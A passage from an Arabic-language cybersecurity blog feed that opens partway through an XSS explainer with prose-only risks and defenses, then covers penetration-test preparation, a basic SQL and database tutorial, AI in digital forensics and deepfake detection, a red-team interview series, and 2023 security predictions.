هذا النوع يشبه reflected xss الى حد كبير لكنه يحدث بشكل كامل في جهة المستخدم حيث يقوم المخترق بحقن dom داخل الصفحة مثال يمكن إضافة form مع action يرسل الى موقع آخر .

الاخطار الناتجة عن XSS attack

سرقة الجلسة

يمكن استخدام هذا الهجوم لسرقة cookie الخاص بالجلسة وتسجيل الدخول باسمك و يتم ذلك عن طريق عمل إعادة توجيه الى موقع آخر يكون مجهز من قبل المخترق يستقبل ال cookie الخاصة بالموقع المصاب.

الاحتيال والتصيد

يمكن استخدام النوع الثالث للقيام بوضع form و إرسال المعلومات إلى موقع خاص بالمخترق وأنت تظن انها لوحة تسجيل الدخول الخاصة بالموقع الرسمي وعندها لن يحتاج المهاجم لسرقة الجلسة فقد حصل على كلمة السر بشكل مباشر منك

تشويه الموقع

يمكن استخدام أكواد javascript لتشويه الموقع بالنسبة للمستخدمين.

الحماية من XSS

في هذا القسم من المقال سوف نقدم لك (المستخدم العادي) بعض النصائح لتجنب الوقوع في مثل هذا الهجوم بالإضافة لبعض النصائح الخاصة لمطوري المواقع.

بالنسبة للمستخدم

عدم فتح أي رابط لا تعلم مصدره يمكنك استخدام إضافة noscript.

أو يمكنك الذهاب الى الاعدادات الخاصة بالمتصفح وتعطيل خيار استخدام javascript .

بالنسبة للمطور

كمطور ويب تقع عليك مسؤولية حماية المستخدم من المخاطر وليس فقط حماية الموقع

1- يجب التأكد من تطبيق فلاتر مناسبة على جميع حقول الإدخال الخاصة بالموقع

2- يفضل تفعيل httponly flag و إضافته لعدم السماح بقراء ال cookie عبر اكواد JavaScript

3- تفعيل secure flag لكي لا يتم ارسال ال cookie إلا عن طريق HTTPS

في النهاية

لا يوجد نظام آمن بشكل مطلق ولكن يمكننا التخفيف من المخاطر المحتملة ومن المهم جداً نشر التوعية وثقافة الأمن السيبراني على جميع المستويات، كما يجب الإشارة إلى أمر مهم آخر وهو: إن كنت مبرمج أو مطور ويب فهذي النصائح لا تكفي ويجب عليك التوسع بشكل أكبر لمعرفة كل التفاصل الخاصة بهذه الثغرة والاجراءات المضادة لها.

الإعداد لعملية اختبار الاختراق

Fri, 04 Aug 2023 14:19:55 GMT

قبل أي اختبار اختراق يجب تحديد هدف العميل ونطاق العمل بحدوده المنطقية والفيزيائية، وإعداد جدول مواعيد لكل مرحلة، والاتفاق على الالتزامات بمساعدة محامٍ وعلى المسؤوليات، ووضع خطة طوارئ مع فريق حماية العميل، وتحديد التقنيات المسموحة والممنوعة. تجاوز أي من هذه الحدود قد يعرّضك لمساءلة قانونية.

يعد اختبار الاختراق عملية مهمة لتحديد المخاطر و الكشف عن الثغرات لحماية المؤسسة من عمليات الاختراق ولكن قبل القيام بهذه العملية يجب اتباع العديد من الخطوات الاساسية لضمان نجاح العملية و تفادي حدوث أي مشاكل.

في هذا المقال سوف نشرح هذه الخطوات و المراحل التي يجب أن تتم قبل عملية اختبار الاختراق

الهدف ونطاق العمل

الهدف (Goal)

تحديد الهدف من عملية اختبار الاختراق (السبب الرئيسي الذي دفع العميل الى توظيفك للقيام بهذه العملية) معرفة الهدف سوف يساعدك للقيام بهذه المهمة ولهذا السبب يفضل سؤال العميل بشكل مباشر لماذا تريد القيام بعملية اختبار الاختراق؟

لا تتوقع حصولك على الإجابة الصحيحة بشكل دائم فمن الممكن أن تكون إجابة العميل على الشكل التالي:

نريد القيام بعملية اختبار الاختراق لأننا بالفعل قد تعرضنا للاختراق، هنا سيختلف عملك وسيكون تركيزك باتجاه التحقيق الجنائي الرقمي

اما اذا كان جوابه:

نريد القيام بعملية اختبار الاختراق لاختبار مستوى الحماية، فهنا يجب أن يكون تركيزك على كشف الثغرات و توضيح نقاط الضعف.

نطاق العمل (Scope)

وهو الحدود أو المجال المسموح لك القيام بعملية اختبار الاختراق ضمنه و أي تجاوز له قد يعرضك لمسألة قانونية وهو ينقسم الى قسمين:

1- الحدود المنطقية

يجب تحديد الحدود المنطقية مع العميل بشكل دقيق من خلال تحديد الأقسام التي يجب القيام بعملية اختبار الاختراق عليها، مثال: قسم التسويق

اذا لم يتم تحديد الحدود بشكل دقيق فقد يؤدي ذلك إلى مشاكل مع العميل فقد تظن أنك تعمل داخل المجال المحدد والمسموح به ومع ذلك قد يعتقد العميل أنك قد تجاوزت الحدود أو المجال المتفق عليه ولهذا السبب من المهم التعامل بدقة مع هذه المرحلة و تحديد حدود واضحة تحميك أثناء العمل لعدم الوقوع في أي مشاكل قانونية أو اختلاف في وجهات النظر.

2- الحدود الفيزيائية

تعتبر الحدود الفيزيائية عبارة عن أشياء ملموسة مثل عناوين IP ومن الممكن أن تكون مجالات من العناوين أو أسماء الدومينات (في عملية اختبار اختراق مواقع الويب)

يفضل ان تسأل العميل بشكل واضح هل الدومينات الفرعية sub domain مشمولة ضمن العملية أم لا فمن الممكن أن يحدد بعضها فقط ضمن هذه العملية.

جدول المواعيد

هو عبارة عن جدول يوضع فيه مراحل عملية اختبار الاختراق ويحتوي على مواعيد بداية المرحلة ونهايتها و الهدف منها والعديد من التفاصيل الأخرى

هذا الجدول يجب تقديمه للعميل ليكون ملم بكل تفاصيل عملية اختبار الاختراق وتكمن أهميته عند حدوث أي مشكلة فيمكن لفريق الحماية الخاص بالعميل معرفة مكان المشكلة و مقدار الخطورة المتعلقة بها.

اذا كان مستوى خطورة المرحلة عالي جداً فيمكن أن يكون فريق الحماية على استعداد لتنفيذ خطة الطوارئ وفي حال حدوث أي تغير على هذا الجدول فيجب اطلاع العميل على هذه التغيرات بشكل مباشر.

مثال على جدول المواعيد:

البداية	النهاية	المصدر	الأهداف	المرحلة	مستوى الخطورة
11-20-2013 07:00AM PST	11-20-2013 11:00AM PST	`100.100.100.96`	`200.200.0.0/16`	الفحص (Scanning)	متوسط (Medium)
11-21-2013 05:00PM PST	11-21-2013 08:00PM PST	`100.100.100.96`	`200.200.0.0/22`	كشف نظام التشغيل (OS detection)	متوسط (Medium)
11-24-2013 03:00PM PST	11-24-2013 06:00PM PST	`100.100.100.96`	`www.target.inc`	الاستغلال (Exploitation)	عالٍ (High)

الالتزامات و المسؤوليات

عملية اختبار الاختراق تحتوي على العديد من المخاطر لك وللعميل ولهذا السبب هناك العديد من الالتزامات والمسؤوليات التي يجب أن تتحملها

الالتزامات (Liabilities)

عدم الخروج عن المجال المحدد
حوادث حذف البيانات
حوادث توقف الخدمة
أي فعل أو نشاط تقوم به وله تأثير سلبي على عمل المؤسسة

بالنسبة للالتزامات يجب أن يتم الاتفاق عليها مع العميل بالتعاون مع محامي أو شخص قانوني لتقليل مسؤوليتك عن الحوادث التي قد تقوم بها، هذا الاتفاق يحتاج إلى محامي ليجنبك أي مشاكل قانونية

المسؤوليات (Responsibilities)

اطلاع العميل على كل التفاصيل خلال العملية
حفظ التقرير الخاص باختبار الاختراق بشكل آمن
عدم الإفصاح عن أي معلومة

أما بالنسبة للمسؤوليات فهي لا تحتاج لمحامي ولكن تتطلب منك الانتباه للمعلومات التي تستخرجها أو تحصل عليها أثناء عملية اختبار الاختراق، فقد تحتاج إلى تشفير التقرير و تدمير المعلومات بعد الانتهاء من عملية اختبار الاختراق وعدم تسريب معلومات العميل

خطة الطوارئ

قد تحدث أخطاء اثناء عملية اختبار الاختراق وهنا يأتي دور خطة الطوارئ فهي خطة تضعها أنت و فريق الحماية الخاص بالعميل و تحوي على تفاصيل ومعلومات الاتصال بالشخص المسؤول عن الشبكة أو النظام و الخطوات التي يجب القيام بها لمعالجة المشاكل المحتملة

متى تطبق خطة الطوارئ؟

عند حدوث مشكلة في السيرفر الخاص بالعميل أو عند حدوث حذف أو تعديل على قاعدة البيانات

متى تفشل خطة الطوارئ؟

عندما لا تعرف مع من تتواصل عند حدوث مشكلة واذا لم تكن الجهة المسؤولة عن الخطة متوفرة بشكل دائم

التقنيات المسموح استخدامها

قبل وضع خطة الطوارئ يجب أن تحدد مع العميل ما هي الأساليب المسموح استخدامها وما هو الممنوع ويفضل تحديد ذلك لكي لا تصدم العميل بطريقة قد لا يكون يريدك أن تستعملها و قد تسبب له ولك مشاكل قانونية

على سبيل المثال قد يرفض العميل استخدامك لهجمات التنصت و هجمات منع الخدمة والهندسة الاجتماعية

انصحك بمحاولة إقناعه بالسماح لك بتنفيذ هجمات الهندسة الاجتماعية لأن الموظفين (العنصر البشري) هم النقطة الأضعف بأي منظومة وعملية استغلالهم أسهل من استغلال الثغرات

في النهاية

عملية اختبار الاختراق هي عملية خطيرة ولذلك يجب أن تأخذ الاحتياطات والخطوات السابقة لتجنب حدوث أي مشاكل قانونية أو أي أخطاء له تأثير سلبي على عمل المؤسسة

حاولنا التركيز على المحاسبة القانونية والتي تم تكرارها لأكثر من مرة لأنك عند القيام بعملية اختبار اختراق فأنت على بعد خطوة من المحكمة لدفع تعويضات مالية للشركة إذا لم تلتزم بالقواعد الخاصة بهذه العملية

مدخل إلى قواعد البيانات

Mon, 29 May 2023 20:34:57 GMT

قاعدة البيانات مستودع يجمع معلومات مترابطة بشكل منظم، وتتكون من جداول من أعمدة وسطور ترتبط بعلاقات عبر المفتاح الأساسي primary key والمفتاح الأجنبي foreign key. يُتحكم بها عبر برامج DBMS مثل MySQL وPostgreSQL وOracle، وبلغة SQL التي تنقسم أوامرها إلى DDL وDML وDQL وDCL.

بدأ ظهور فكرة قاعدة البيانات من حاجة الأفراد و المؤسسات لنظام يخزن البيانات في مكان واحد تكون البيانات قابلة للتعديل و الادخال بسهولة وتكون محمية من التلف ولهذا السبب تم إيجاد قواعد البيانات.

تستخدم قواعد البيانات في العديد من المجالات فهي تستخدم بالمؤسسات والبنوك حيث تخزن عمليات الإيداع والسحب وفي مواقع التواصل الاجتماعي حيث تخزن معلوماتك وقائمة أصدقائك و منشوراتك

قاعدة البيانات (database): يمكن تعريف قاعدة البيانات على أنها عبارة عن مستودع أو خزنة تجمع داخلها معلومات مترابطة بشكل منظم

يوجد العديد من الميزات لقاعدة البيانات وهي:

تمثل معلومات واقعية
تعد منطقية ومتسقة ومنظمة
سهولة الوصول للمعلومات داخلها
سهولة المزامنة أي يمكن الوصول للمعلومات من قبل العديد من المستخدمين

يمكن التحكم بقاعدة البيانات عن طريق برامج تحكم في قاعدة البيانات (DBMS) Database management system

وهي مجموعة من البرامج المجمعة التي تتحكم في إنشاء وإدخال المعلومات واسترجاع المعلومات والوصول الى قواعد البيانات

هناك العديد من هذه البرامج وأشهرها: MySQL وPostgreSQL وOracle

الجداول tables

تتكون قاعدة البيانات من جداول متعددة مترابطة مع بعضها بواسطة علاقات وكل جدول يمثل كائن معين أو عملية معينة، على سبيل المثال: يمكن أن يوجد جدول للسيارات يوضع فيها نوع السيارة والمسافة التي قطعتها وعام التصنيع ولونها ورقم اللوحة وكل جدول يتكون من أعمدة (columns) وسطور (row) وتقاطع السطر مع العامود يسمى خلية مثال على هذا الجدول:

كما لاحظنا في الجدول فان السمة تمثل صفة في الكائن والسطر يوضح معلومات سيارة من السيارات العامود يمثل معلومات تحت سمة معينة.

العلاقات بين الجداول

العلاقات هي عنصر أساسي في قواعد البيانات فهي تجعل قواعد البيانات مترابطة وتعطينا قوة في الوصول للمعلومات المتعلقة ببعضها

مثال: لنفترض أنه لدينا منزل وهو كيان يمثل بجدول فيه معلومات المنزل مثل المساحة عدد الغرف الخ..

ويوجد للمنزل مالك هو أيضا كيان يمثل بجدول فيه معلوماته كالطول و الاسم والجنس ورقم الهوية ويرتبط المالك مع المنزل بعلاقة أي المالك يملك هذا المنزل وهكذا العلاقات ولكن يأتي سؤال مهم كيف أنشئ العلاقة؟ لكي ننشى العلاقة نحتاج للتعرف الى شى أساسي و هو المفاتيح

المفاتيح

هي عبارة عن عامود نستطيع من خلاله جلب معلومات نموذج معين (row) لناخذ مثال لدينا جدول من طلاب الجامعة نريد جلب طالب اسمه أحمد، اذا بحثنا عنه قد يوجد العديد من الطلاب بنفس الاسم ولذلك نستخدم عامود لايمكن أن يتكرر مثل الرقم الجامعي فهو لا يتكرر و يعطينا المعلومات المطلوبة و هذا النوع من المفاتيح يسمى primary key.

وهو مفتاح لا يتكرر ولايجب أن تكون الخلية الخاصة به فارغة وعند أخذ هذا المفتاح و وضعه في جدول آخر من أجل إنشاء علاقة يصبح اسمه foreign key وهذا الأمر سوف يوضح في الجدول التالي.

الآن كما نلاحظ في المثال السابق فإن عامود الرقم الوطني مشترك بين الجدولين وعندما نريد معرفة المنزل الخاص بشخص محدد نبحث عن الرقم الوطني في الجدولين عندها يظهر لنا معلومات المالك والمنازل الخاصة به

أنواع العلاقات

1- one-to-one: هي علاقة واحد ل واحد أي أنه يسمح لسطر في جدول بالارتباط بسطر واحد من الجدول الآخر

مثال: مدير الشركة يدير شركة واحدة

2- one-to-many: هي علاقة واحد ل كل أي يسمح لسطر معين بالارتباط بالعديد من الاسطر في الجداول الأخرى

مثال: يمكن لشخص امتلاك اكثر من موبايل

3- many-to-many: علاقة كل ل كل يسمح لسطر من الجدول الأول الارتباط بالعديد من السطور في الجدول الآخر و يسمح لسطر من الجدول الثاني الارتباط بالعديد من السطور في الجدول الأول

مثال: يمكن للطلاب أن يحضروا عند العديد من المدرسين ويمكن للمدرسين تعليم العديد من الطلاب

مما سبق نرى أن العلاقات بين الجداول تجعل قاعدة البيانات واقعية اكثر ومترابطة.

لغة الاستعلام SQL

SQL – Structured Query Language: هي لغة تستخدم للاستعلام و التحكم في قواعد البيانات تتميز بسرعة المعالجة البيانات وتعمل على العديد من المنصات وهي سهلة الكتابة والفهم و تنقسم أوامر اللغة الى أربعة أنواع هذه الأنواع عبارة عن مفاهيم وليست لغة خاصة داخل لغة الاستعلام, الأنواع: DDL وDQL وDML وDCL.

التحكم في الجداول

DDL – Data Definition Language: هي مجموعة الأوامر المسؤولة عن إنشاء الجدول وحذفه والتعديل على الجدول كتعديل نوع العامود الخ..

بعض الأوامر الخاصة بهذا النوع:

CREATE TABLE name_table (column1 data_type ,column2 datatype);
DROP TABLE name_table;
ALTER TABLE name_table ADD (newcolumn datatype);

أوامر DDL

1- الأمر رقم واحد هو أمر مسؤول عن إنشاء جدول ويأخذ اسم الجدول و اسم الأعمدة ولجانب كل عامود نوع البيانات الخاصة به

ملاحظة: يمكن لنوع البيانات أن يكون int أو char أو varchar أو text.

2- الأمر رقم اثنين هو أمر يقوم بحذف الجدول و يأخذ اسم الجدول فقط

3- الأمر رقم ثلاثة يقوم بالتعديل على الجدول ويضيف عامود إلى الجدول ويأخذ اسم الجدول واسم العامود الجديد و نوع البيانات

التحكم بالبيانات

DML – Data Manipulation Language: هي مجموعة الأوامر التي تستخدم لادخال و التعديل على البيانات داخل الجدول

بعض الأوامر الخاصة بهذا النوع:

INSERT INTO name_table (column1,column2,column3) values(value1,value2,value3);
UPDATE name_table SET column1=new_value WHERE id=id_value;
DELETE FROM name_table WHERE id =id_values;

أوامر DML

1- الأمر رقم واحد مسؤول عن ادخال البيانات فهو يأخذ اسم الجدول و أسماء الأعمدة والقيم الخاصة بالاعمدة

2- الامر رقم اثنين مسؤول عن تعديل البيانات ويأخذ اسم الجدول و العامود و القيمة الجديدة و يأخذ شرط لتحديد النموذج(سطر)

ملاحظة: الأمر WHERE مسؤول عن تحديد أي سطر سوف يعدل

3- الامر رقم ثلاثة مسؤول عن الحذف ويأخذ اسم الجدول و الشرط لمعرفة النموذج المراد حذفه

التحكم بالاستعلام

DQL – Data Query Language: هي مجموعة الأوامر المسؤولة عن الاستعلام وجلب وفلترة البيانات والتلاعب بها و هو قسم مهم لانه مسؤول عن عرض البيانات

بعض الأوامر الخاصة بهذا النوع:

SELECT * FROM name_table;
SELECT * FROM name_table WHERE column=value;

أوامر DQL

1- الامر الاول يعرض بيانات الجدول ياخذ اسم الجدول والأعمدة

ملاحظة: الإشارة * تعرض جميع الاعمدة واذا أردت عرض عامود معين نضع اسمه مكان النجمة

2- الامر رقم اثنين يعرض معلومات الجدول إذا تطابق مع الشرط الموضوع في نهاية الأمر

التحكم بالصلاحيات

DCL – Data Control Language: هي الأوامر المسؤولة عن التحكم بقاعدة البيانات مثل الحفظ وإعطاء الصلاحيات

بعض الأوامر الخاصة بهذا النوع:

GRANT SELECT, INSERT, UPDATE, DELETE ON name_table TO users;
REVOKE SELECT ON name_table FROM user;

أوامر DCL

1- الامر الأول مسؤول عن إعطاء صلاحيات للمستخدم ويأخذ الأوامر المسموحة واسم الجدول واسم المستخدم

2- الأمر الثاني المسؤول عن سحب الصلاحيات ويأخذ الأوامر الغير مسموح بها و اسم الجدول واسم المستخدم

باختصار, يمكن القول إن قواعد البيانات عنصر أساسي وحيوي في العالم التقني حيث توفر وسائل لاستخراج والتعديل على البيانات.

وتوفر وسائل إدارة ممتازة للتحكم وتنظيم البيانات ومن المؤكد أن قواعد البيانات سوف تستمر في التطور و لن يتوقف استعمالها لهذا انصح بتعلمها.

مستقبل التحقيق الجنائي الرقمي في ظل تطور تقنيات الذكاء الاصطناعي

Mon, 15 May 2023 08:40:29 GMT

التحقيق الجنائي الرقمي هو استخدام الأدوات الرقمية لجمع الأدلة من الأجهزة والبريد والملفات وتحليلها لإثبات الجرائم الإلكترونية وتحديد المسؤولين عنها. يساعد الذكاء الاصطناعي المجال بتحليل البيانات أسرع وكشف فيديوهات deepfake عبر تحليل الوجوه والحركة وعيوب التلاعب، بينما يواجه المجال تحديات تضخم البيانات وسرعة الابتكار وتنوع الأجهزة.

يعتبر التحقيق الجنائي الرقمي أحد أهم المجالات في عصرنا الحالي.

إذ نعيش الآن في عصر تطور تكنولوجي مذهل حول العالم حيث أصبح هذا التطور ملحوظاً للجميع.

كما نرى هذا التطور الرقمي في تفاصيلنا اليومية التي نعيشها.

وبالتأكيد إن لهذا التطور السريع بعض الأوجه الخفية الخبيثة التي لا ترى بوضوح تام.

بإختلاف أعمار وفئات مجتمعاتنا الحالية أصبحت لغات الأرقام متصدرة لجميع جوانب حياتنا رغم تعدد أوجهها وإستخداماتها.

وبالتالي عملاً بمقولة الحاجة أم الإختراع أصبح مجال التحقيق الجنائي الرقمي أحد أهم مجالات عصرنا الرقمي الحديث.

كما جاء الذكاء الإصطناعي مساعداً بل مكملاً لهذا المجال الرقمي الحديث.

وعلى ما يبدو أن الذكاء الإصطناعي سوف يكون له حضوره المميز في مستقبل التحقيق الجنائي الرقمي.

في مقالنا هذا ستتعرف على التحقيق الجنائي الرقمي وستقرر بنفسك

ما إن كان الذكاء الإصطناعي مساعداً أم مخرباً لهذا المجال الأمني المهم

التحقيق الجنائي الرقمي وأهميته

لك أن تتخيل أنه في كل يوم نعيشه تحدث حوالي 2244 هجمة سيبرانية في العالم.

إذ توقع مكتب التحقيقات الفدرالي وفقاً لسجلات جرائم الإنترنت أن تبلغ تكلفة هذه الإنتهاكات 8 تريليون دولار في عام 2023.

وكان لابد للمسؤولين وصناع القرار إيجاد الحلول اللازمة والسريعة للتقليل من هذه الإنتهاكات ومحاربتها بكل الطرق المتاحة.

حيث يعتبر التحقيق الجنائي الرقمي هو إستخدام الأدوات الرقمية والتكنولوجيا لجمع وتحليل ودراسة الأدلة الرقمية وإستخدامها في إثبات الجرائم الإلكترونية.

ويشمل التحقيق الجنائي الرقمي جمع كافة الأدلة التي يمكن الإستفادة من معلوماتها وبياناتها مثل: أجهزة الكومبيوتر والهواتف المحمولة والبريد الإلكتروني وكافة الملفات الرقمية الأخرى.

بالإضافة إلى ذلك يستخدم المحقق الرقمي تقنيات مخصصة مثل إسترداد البيانات والتحليل الرقمي لجمع الأدلة وتحليلها.

حيث يهدف المحقق الجنائي الرقمي إلى جمع الأدلة وترتيبها وتحليلها لتأكيد أو نفي وجود الجريمة.

بالإضافة إلى ذلك يستطيع المحقق بنفس التقنيات والأدلة تحديد المشتبه بهم والمسؤولين عنها.

هل سيتغير مستقبل التحقيق الجنائي الرقمي في ظل تطور الذكاء الإصطناعي ؟

بجانب الخدمات الرفاهية التي يوفرها الذكاء الاصطناعي للعالم يلعب أيضا دورا هاما في خدمة التحقيق الجنائي الرقمي.

حيث قدم الذكاء الإصطناعي الكثير من الخدمات المفيدة لهذا المجال.

على سبيل المثال قدم الذكاء الإصطناعي خوارزميات التصنيف وخوارزميات التنبؤ والتي تستخدم في الوقت الحالي في مجال التحقيق الجنائي الرقمي.

بعبارة أخرى فإن ما يميز الذكاء الإصطناعي في هذا المجال هو قدرته على تحليل وفهم البيانات الرقمية بشكل أسرع وأكثر فعالية.

ولكن هل يمكن للتحقيق الجنائي الرقمي مجابهة واحدة من أكثر التقنيات الجديدة المثيرة للشبهة وهي تقنية ال deepfake ؟؟

تعرف هذه التقنية deepfake بأنها تطبيق من تطبيقات الذكاء الإصطناعي الحديث.

إذ تكمن خطورة هذه التقنية في قدرتها على صنع فيديوهات وصور مزيفة عبر تقنيات رقمية متطورة.

حيث تقوم هذه التقنية على محاولة دمج عدد من الصور ومقاطع الفيديو لشخصية ما من أجل إنتاج مقطع فيديو جديد.

وقد يبدو للوهلة الأولى أنه حقيقي للغاية لكنه في واقع الأمر مزيف حيث تعرض هذه الفيديوهات أشياء غير حقيقية ولم تحصل إطلاقا بطريقة مقنعة غير قابلة للشك.

هذا ليس الممثل الشهير مورغان فريمان إنها تقنية ال deepfake

ولكن رغم هذه القدرة على تزييف الحقائق إلا انه يمكن للذكاء الاصطناعي استخدام العديد من التقنيات لكشف الفروق بين مقاطع الفيديو الحقيقية وتلك التي تم إنشاؤها باستخدام تقنية deepfake.

حيث لدى الذكاء الإصطناعي القدرة على تحليل الوجوه وحركات الفم والعينين وأيضاً الحركة العامة للجسم لتحديد ما إذا كان الشخص الموجود في الفيديو حقيقياً أم لا.

وذلك عن طريق بعض التقنيات مثل تحليل البيانات العصبية إذ يمكن للذكاء الاصطناعي تحليل النمط العصبي في الصور والفيديوهات لتحديد ما إذا كانت تعاني من عمليات تلاعب.

وأيضاً عن طريق بعض العيوب التي قد تتركها تقنية ال deepfake.

على سبيل المثال يمكن أن تظهر بعض الخطوط غير الطبيعية أو الانحناءات في المناطق التي تم التلاعب بها إذ يمكن للذكاء الإصطناعي ملاحظة وكشف هذه العيوب.

التحديات و التطورات المستقبلية

في غضون التطور الهائل الذي يشهده العالم الرقمي وسرعة هذا التطور القياسية أيضاً.

تزيد حجم المسؤوليات على عاتق مجال التحقيق الجنائي الرقمي إذ يواجه هذا المجال بعض التحديات التي لايمكن الإستهانة بها مثل تزايد حجم البيانات الرقمية الهائل.

حيث أن هذا التضخم يجعل من الصعب على المحققين تجميع وتحليل هذه البيانات بشكل فعال وفي وقت قصير.

والأهم من ذلك يواجه التحقيق الجنائي الرقمي تحدي الابتكار التقني حيث تشهد التكنولوجيا الرقمية تطوراً سريعاً يحتم على التحقيقات الجنائية الرقمية أن تبقى على إطلاع دائم على التطورات والإبتكارات التقنية الجديدة.

في نفس السياق إن تنوع الأجهزة والتطبيقات الهائل يعتبر أيضاً تحدياً للتحقيق الجنائي الرقمي إذ يعتمد هذا المجال على الوصول إلى مختلف أنواع الأجهزة والتطبيقات الرقمية.

وبالتالي إن التنوع الكبير لهذه الأجهزة والتطبيقات يزيد من صعوبة المهمة على عاتق المحققين الجنائيين الرقميين.

التحقيق الجنائي الرقمي أساس تحقيق العدالة في العصر الرقمي

يواجه مجال التحقيق الجنائي الرقمي تحديات متعددة ومتنوعة فقد تطورت طرق إرتكاب الجرائم لتشمل التهديدات الإلكترونية المتقدمة التي تهدد الأفراد والمؤسسات على حد سواء.

رغم التحديات التي يواجهها وتزايد صعوبتها بإستمرار إلا أن الذكاء الإصطناعي يمكن ان يكون حليفاً قوياً لهذا المجال.

ولذلك فإن للذكاء الإصطناعي دور حاسم في إستمرارية هذا المجال ونجاحه.

بالإضافة إلى ذلك على التحقيق الجنائي الرقمي تحقيق التوازن بين استخدام الذكاء الاصطناعي والإبداع البشري.

نتمنى أن نكون قد حققنا لكم أكبر استفادة.

مع تحيات فريق عمل تريند تك

قبيلة الهاكر: الفريق الأحمر

Tue, 07 Mar 2023 10:08:54 GMT

قبيلة الهاكر سلسلة طُرح فيها أكثر من عشرين سؤالاً على خبراء في الأمن السيبراني حول بدايتهم وطريقهم إلى النجاح. يضم هذا الجزء إجابات خبراء الاختراق العاملين في الحماية الهجومية Offensive Security، أي الفريق الأحمر Red Teaming.

في هذه السلسلة الممتعة جداً سألنا عدد من الخبراء في مجال الأمن السيبراني أكثر من عشرين سؤال حول كيفية بدايتهم في هذا المجال وكيف حققوا النجاح وسنشارك معكم إجابات مجموعة من خبراء الاختراق العاملين في مجال الحماية الهجومية Offensive Security أو ما يعرف باسم الفريق الأحمر Red Teaming.

توقعات الأمن السيبراني لعام 2023

Wed, 04 Jan 2023 08:45:13 GMT

تتوقع المقالة لعام 2023 اعتماداً متزايداً لمبدأ الثقة الصفرية، وازدياد هجمات الفدية المخصصة، واحتمال اختراق تقنيات الفضاء وحدث كبير في العملات المشفرة، إلى جانب تزايد تهديدات شبكات 5G وواجهات API والهجمات على لينكس والهجمات التي ترعاها الدول، مع غرامات أكبر على تسريب البيانات.

القاعدة العامة في التنبؤ هي

كلما كان المصدر أكثر موثوقية كلما كان التنبؤ أكثر دقة

مع الاستفادة من سنوات الخبرة العديدة المكتسبة من العمل مع شركات متعددة تقدم خدمات الأمن السيبراني، هناك إشارات لا حصر لها استخدمتها للتنبؤ بدقة بما سيحدث على مدار العام الجديد

إليك تنبؤات الأمن السيبراني التي قد نواجهها في عام 2023

اعتماد مبدأ الثقة الصفرية

تشير العديد من المصادر إلى أن العديد من الصناعات لا تزال لا تعتمد على مبدأ الثقة الصفرية Zero Trust في الأمن السيبراني.

تتبنى المنصات والأدوات الأمنية الحديثة وعلى نطاق واسع التكامل مع هذا المبدأ وفي الحقيقة يبدو أن هذا الأمر هو مسألة ثقافية وتعليمية وستشهد اعتماداً متزايداً في العام المقبل ومن ناحية أخرى فإن هذا المبدأ ليس “الرصاصة الفضية” للأمن السيبراني فهو جزء من العديد من القواعد والمبادئ الأساسية في هذا المجال.

ازدياد عدد هجمات برمجيات الفدية

تصدرت هجمات برامج الفدية عناوين نشرات الأخبار في الأعوام السابقة وقد تطورت الأساليب المستخدمة في هذه الهجمات وأصبحت أكثر تعقيداً.

شهدنا في العام الماضي زيادة في التقارير التي تشير إلى إطلاق برامج الفدية المخصصة ضد شركات أو منظمات محددة والتي لا يمكنها تحمل الانقطاع الطويل لخدماتها ولهذا السبب يجب على كل الشركات والمنظمات التأكد من أنها محمية بشكل كامل من خلال تطبيق الأمور التالية:

تأمين وحماية بيئة العمل
وضع خطة للاستجابة للحوادث والتعافي منها
وضع خطة لضمان استمرارية الحماية والامتثال

ويجب أن يشمل هذا الأمر على وجود أكثر من نسخة احتياطية للبيانات والتأكيد على حفظها بمكان آمن مع ضمان سرعة استعادتها عند الحاجة لها.

اختراق التكنولوجيا الفضائية

هناك احتمال أن يكون في هذا العام نوع من عمليات الاختراق الكبيرة في تكنولوجيا الفضاء ضد قمر صناعي أو مركز إطلاق أو الشبكات أو الاتصالات الخاصة بهذه التقنية.

بعبارة أخرى ستتخذ عمليات الاختراق أفق جديد من خلال الانفصال عن الأرض والتأثير بشكل سلبي على تكنولوجيا الأقمار الصناعية أو حتى الطائرات.

حدث كبير على مستوى العملات الرقمية المشفرة

على الرغم من كل الفرص المالية التي وعد بها المستثمرون بالعملات الرقمية والتي كانوا يطمحون إلى إنشائها ولكن هذا الأمر لم يكتمل وقد تعرضت سمعة العملات الرقمية للعديد من الأحداث السلبية فقد انتشرت قصص الرعب حول حوادث تبادل العملات المشفرة في الصحافة، على سبيل المثال لقد خسرت منصة Binance 100 مليون دولار في هجوم إلكتروني مباشر وتم اختراق الرموز الخاصة بها.

في العام الجديد من الممكن أن يكون أي اختراق جديد لمنصات العملات المشفرة هو حجر الدومينو الأخير الذي يوقع جميع الأحجار الأخرى لتقويض مستقبل العملات الرقمية كبديل مالي قابل للتطبيق.

اعتقال مصادر التهديدات الداخلية

من الصعب إثبات الجرائم الإلكترونية خاصة عندما يتم إجراؤها من قبل شخص من الداخل ولكن وفي العام الجديد يمكننا توقع المزيد من الاعتقالات للموظفين أو الأشخاص المطلعين من الداخل في مختلف الشركات والمؤسسات.

الخطأ البشري هو أمر وارد، لنكن صريحين فهو أحد الأسباب الرئيسية للعديد من خروقات وتسريبات البيانات.

تشمل التهديدات الداخلية العديد من الأمور وأخطرها التجسس والوصول المادي للموارد التي يصعب حمايتها.

من المتوقع في هذا العام انتشار المزيد من الوعي التقني والبشري وبالتأكيد فإن الشركات المتضررة من التهديدات الداخلية ستبدأ باتباع تدابير أمنية شاملة تتضمن حماية جمع البيانات من خلال عمليات التحليل الجنائي الرقمي بالإضافة إلى تدابير عقابية صارمة ضد مصادر التهديد الداخلي.

تزايد التهديدات الخاصة بشبكات 5G وواجهات API

تزايد التهديدات على الأجهزة المحمولة والتطبيقات هو أمر مهم جداً لمستقبل الأمن السيبراني.

أضافت شبكات الهاتف المحمول 5G بُعداً جديداً عالي السرعة لكل تهديد موجود، بالإضافة إلى الأتمتة والتكامل بين التطبيقات وتقنيات الحوسبة السحابية و كل ذلك يستلزم وجود نوع من واجهة برمجة التطبيقات API – Application Programming Interface وهذا يعني وجود أمر آخر يتم اختياره واستغلاله من قبل المهاجمين.

يتطلب حماية هذه التقنيات بناء حلول برمجية آمنة ودمج الحماية عبر البنية التحتية للشبكات وصولاً إلى التطبيقات.

بين تقنية الاتصال 5G وضعف معايير الأمن السيبراني لأجهزة انترنت الأشياء IoT وعالم API المتوسع باستمرار لن يمر وقت طويل قبل أن تؤدي الشروخ غير المعروفة إلى وقوع حدث أمني ضخم سيكون له تأثير وصدى كبير جداً ولهذا السبب فإن حماية واجهة برمجة التطبيقات API يعتبر أمر بالغ الأهمية.

خروقات كبيرة وغرامات كبيرة

